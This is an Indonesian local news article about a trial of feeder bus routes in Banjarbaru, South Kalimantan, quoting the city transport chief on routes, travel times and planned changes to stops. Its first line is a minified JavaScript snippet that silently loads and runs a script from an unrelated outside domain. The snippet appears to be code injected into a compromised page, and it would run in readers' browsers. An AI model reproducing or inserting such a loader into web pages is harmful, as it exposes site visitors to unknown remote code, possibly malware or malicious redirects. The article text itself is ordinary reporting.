(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan feeder yang akan beroperasi di Ibu Kota Provinsi Kalimantan Selatan (Kalsel), Selasa (7/5/2024) siang.
Angkutan bus feeder adalah layanan yang dirancang Pemerintah Kota Banjarbaru untuk mengangkut penumpang di kawasan lokal permukiman yang tak dilintasi angkutan umum.
Sekadar diketahui angkutan feeder adalah kendaraan pengumpul atau pengumpan yang dapat menjangkau kawasan perumahan dan permukiman warga lalu mengantar penumpang ke halte-halte terdekat.
Melalui sejumlah rute baru, angkutan feeder ini akan mengantarkan penumpang dari titik area lokal menuju perjalanan mereka di koridor utama Trans Banjarbakula.
Adapun rute yang dilalui, mulai dari Terminal Simpang Empat melalui Jalan Panglima Batur menuju Jalan Karang Anyar hingga Jalan Bina Putra. Lalu, dari Jalan Bina Putra menuju ke Jalan Golf, Landasan Ulin begitu sebaliknya.
Baca juga: Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem
Kadishub Kota Banjarbaru, Muhammad Mirhansyah mengatakan, estimasi waktu yang dihabiskan untuk satu koridor itu berjalan ialah sekitar 50 menit.
“Ini baru satu koridor dengan estimasi waktu 50 menit, sudah meliputi titik pemberhentian. Dimana kita berlakukan juga untuk sembilan trayek lain, seperti Sungai Ulin, Trikora, Cempaka, kawasan Trikora, juga sampai ada melewati Amanah Borneo Park. Uji coba kita lakukan 7 sampai 20 Mei,” ucap Kadishub Banjarbaru setelah uji coba rute angkutan feeder, Selasa (7/5/2024) siang.
Hasil uji coba pertama trayek ini, beberapa titik bus setop atau pemberhentian diberlakukan sementara waktu karena melihat dari potensi penumpang. Ada yang berpotensi efektif dan sebaliknya.
Baca juga: Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar
“Yang efektif itu kita nilai dari Simpang Empat sampai dengan Jalan Bina Putra, terus dari Bina Putra sampai dengan Jalan Golf itu terlihat lebih sepi atau kurang untuk rute bangkitan lalu lintasnya,” sebut dia.
Oleh karena itu, Dishub Banjarbaru memastikan akan kembali melakukan evaluasi, baik sisi jumlah kendaraan yang melewati trayek maupun terkait perubahan titik bus setop. Mengingat, saat ini masih ada beberapa titik bus setop yang terlalu dekat dan terlalu jauh.
“Contohnya dari Azzahra ke SPBU jalan STM itu terlalu dekat, harusnya di Masjid Kanzul Khairat,” sambungnya.
Hasil evaluasi ini, nantinya akan dibawa ke forum lalu lintas (Lalin) Banjarbaru dan Wali Kota Banjarbaru Aditya Mufti Arifin.
Baca juga: Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik
Selain itu, Mirhan menyebutkan, pihaknya akan menyelaraskan bus pengumpan ini dengan bus angkutan milik Pemerintah Provinsi Kalsel beroperasi di rute utama.
“Jadi ada kemungkinan perubahan bus setopnya nanti juga dengan BRT kita saling memperkuat saja, seperti terkait jadwalnya,” tutup Mirhan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.